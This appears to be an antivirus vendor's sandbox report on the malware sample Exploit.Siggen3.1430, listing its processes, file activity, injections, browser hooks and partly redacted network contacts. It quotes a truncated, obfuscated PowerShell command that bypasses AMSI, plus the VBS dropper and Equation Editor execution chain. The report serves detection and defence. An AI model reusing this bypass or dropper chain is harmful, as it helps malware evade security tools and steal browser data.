Exploit.Siggen3.1430

Technical Information

Malicious functions

Creates and executes the following (exploit)

'%WINDIR%\syswow64\cscript.exe' %TEMP%\33.vbs AC

Executes the following (exploit)

'%WINDIR%\syswow64\cmd.exe' /C cscript %tmp%\33.vbs AC
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $8B0111F552=[Ref].Assembly.GetType('Sy'+'stem.'+'Mana'+'gem'+'ent'+'.Autom'+'atio'+'n.A'+'m'+'si'+'Utils');$835FFE1926='4456625220575263174452554847';$9FE0AD5C66=[string](0..13|%{[char][int](53...

Injects code into

the following system processes:

%WINDIR%\explorer.exe

the following user processes:

iexplore.exe

Hooks functions

in browsers

iexplore.exe process, wininet.dll module
firefox.exe process, nss3.dll module

Modifies file system

Creates the following files

%TEMP%\33.vbs
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\1a0d19a6e9bcb6ec10412925a9c7f3f8_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d30a631aa7792bf525d7679d13ecaabb_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\ab6eee177e4c8dd46c826c471168ad20_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\0d029c0de38147a6afef3deb34fc0877_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\082547c7cae5b07dfeb751f2532533c8_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\85b6f6e00492b5b95389d248de5efde5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e3ab1d295bb09f03ccf381cfd65db619_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\b6ceadcaf1df074d6abe391b7d9c728b_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7d0d4f14b9385325792cf77b2c9d5571_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\90792e60157d3ee06ef02e94fca81425_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\af4fb1d09e64a2c84787dd0412d0af62_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\db12c7d2e938f1b56e429bfc8d77e239_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\fa4a25da15085bd34ada65ed170f2756_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\3f5c095a21f80a3eedec0e88dc316a30_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\491b5859ed9775984a620dcc59acc3dd_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d3a6997a55024ade0dc7e5ccca0d74a4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\60e62adc996177c43ef26b5f60aa7260_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e7b524899e59b68f7d4e4a62761a28b3_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e79d34281dc52a665a07bd6247903ee9_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7e253acf9958ac9b5a05e5133b06b40e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\503300bb82c21f9971c9acc59926f82e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e8beba97db67d12ffa3a1b7c314f2b0e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\5a4cd5e55e3105c490e13068c53a4ba1_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\fb474b66b9b4592c2c3ff0acd92fcfec_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8e95bb2697c14444dd3f85849e77f36b_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\1343e8f19590d01aea0a6afa778a7d80_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\2846be8d0943ad4c9b9706b04bfffc89_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\2fa05886fc4c9f4a6dd9d53f0871859e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\48c65407d0173e0ce600a874b056eac4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\223e15b65a5b4c0a59b54dd60ce49c6f_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f57028a44494eca9d394f2ccae3f56fc_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\85a451206a75d55926a1276719f35099_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\49c6079918aba706cfd3242dd4912a62_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\9233181a6240655e01eb05c46a6ac88e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\fb824c42effd4da2655b3df962d42108_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e692438f26687b1a119d047b8c84ff9d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\2fcd67168c4f05865bf979d9e3c910ee_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d67d7d971820ad984452eee66bc8865e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\36ce16b418bbeb1960b901948590956d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f25e340f56a12176511dd4cd50a664a0_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e3975f86831d5c2fcf2102492c621a2c_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\603e63bcc200135748b572df62b4544c_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8f37e8766e30acad75ce8143d79d160e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\878b13f4a01971eae3ffd63e295774b0_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f0058fe87ca7471acf340ed76fe81f3f_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\cc281c2284a79f8c34e2db884af51a9b_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e4b54c04fc2bcf674104a7e4d6b5c92b_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\62efb00114c0b5f3fb0168a540b2300e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\13b3e7f77fd82b9fec32b263b14a32ab_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\b2cd7b1b8e5159a9d801f5c343c65051_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\1d8c4a6afde5d2c887a52bfb50cf9da2_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\c4f522e6717ce4ecf1eb9a9dadafa8ee_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee

Deletes the following files

%TEMP%\33.vbs
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\1a0d19a6e9bcb6ec10412925a9c7f3f8_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d30a631aa7792bf525d7679d13ecaabb_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\ab6eee177e4c8dd46c826c471168ad20_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\0d029c0de38147a6afef3deb34fc0877_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\082547c7cae5b07dfeb751f2532533c8_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\85b6f6e00492b5b95389d248de5efde5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e3ab1d295bb09f03ccf381cfd65db619_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\b6ceadcaf1df074d6abe391b7d9c728b_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7d0d4f14b9385325792cf77b2c9d5571_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\90792e60157d3ee06ef02e94fca81425_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\af4fb1d09e64a2c84787dd0412d0af62_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\db12c7d2e938f1b56e429bfc8d77e239_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\fa4a25da15085bd34ada65ed170f2756_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\3f5c095a21f80a3eedec0e88dc316a30_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\491b5859ed9775984a620dcc59acc3dd_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d3a6997a55024ade0dc7e5ccca0d74a4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\60e62adc996177c43ef26b5f60aa7260_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e7b524899e59b68f7d4e4a62761a28b3_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e79d34281dc52a665a07bd6247903ee9_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7e253acf9958ac9b5a05e5133b06b40e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\503300bb82c21f9971c9acc59926f82e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e8beba97db67d12ffa3a1b7c314f2b0e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\5a4cd5e55e3105c490e13068c53a4ba1_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\fb474b66b9b4592c2c3ff0acd92fcfec_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8e95bb2697c14444dd3f85849e77f36b_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\1343e8f19590d01aea0a6afa778a7d80_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\2846be8d0943ad4c9b9706b04bfffc89_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\2fa05886fc4c9f4a6dd9d53f0871859e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\48c65407d0173e0ce600a874b056eac4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\223e15b65a5b4c0a59b54dd60ce49c6f_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f57028a44494eca9d394f2ccae3f56fc_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\85a451206a75d55926a1276719f35099_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\49c6079918aba706cfd3242dd4912a62_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\9233181a6240655e01eb05c46a6ac88e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\fb824c42effd4da2655b3df962d42108_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e692438f26687b1a119d047b8c84ff9d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\2fcd67168c4f05865bf979d9e3c910ee_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d67d7d971820ad984452eee66bc8865e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\36ce16b418bbeb1960b901948590956d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f25e340f56a12176511dd4cd50a664a0_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e3975f86831d5c2fcf2102492c621a2c_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\603e63bcc200135748b572df62b4544c_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8f37e8766e30acad75ce8143d79d160e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\878b13f4a01971eae3ffd63e295774b0_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f0058fe87ca7471acf340ed76fe81f3f_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\cc281c2284a79f8c34e2db884af51a9b_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e4b54c04fc2bcf674104a7e4d6b5c92b_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\62efb00114c0b5f3fb0168a540b2300e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\13b3e7f77fd82b9fec32b263b14a32ab_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\b2cd7b1b8e5159a9d801f5c343c65051_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\1d8c4a6afde5d2c887a52bfb50cf9da2_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\c4f522e6717ce4ecf1eb9a9dadafa8ee_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee

Network activity

TCP

HTTP GET requests

http://oc##.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS%2BzcBkvzl4%3D
http://www.ro####ybyvee.com/n76/?RF###########################################################################################
http://www.ca###sapp.com/n76/?RF###########################################################################################

'cd#.##scordapp.com':443

UDP

DNS ASK cd#.##scordapp.com
DNS ASK oc##.thawte.com
DNS ASK ro####ybyvee.com
DNS ASK st####.rapidssl.com
DNS ASK ca###sapp.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\cmd.exe' /C cscript %tmp%\33.vbs AC' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $8B0111F552=[Ref].Assembly.GetType('Sy'+'stem.'+'Mana'+'gem'+'ent'+'.Autom'+'atio'+'n.A'+'m'+'si'+'Utils');$835FFE1926='4456625220575263174452554847';$9FE0AD5C66=[string](0..13|%{[char][int](53...' (with hidden window)

Executes the following

'%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
'%WINDIR%\syswow64\control.exe'
'%WINDIR%\syswow64\colorcpl.exe'
'%WINDIR%\syswow64\cmd.exe' del "%WINDIR%\syswow64\control.exe"

Tecnologie

Termini

Formazione ed informazione

Falsi miti

Technical Information

Curing recommendations

Free trial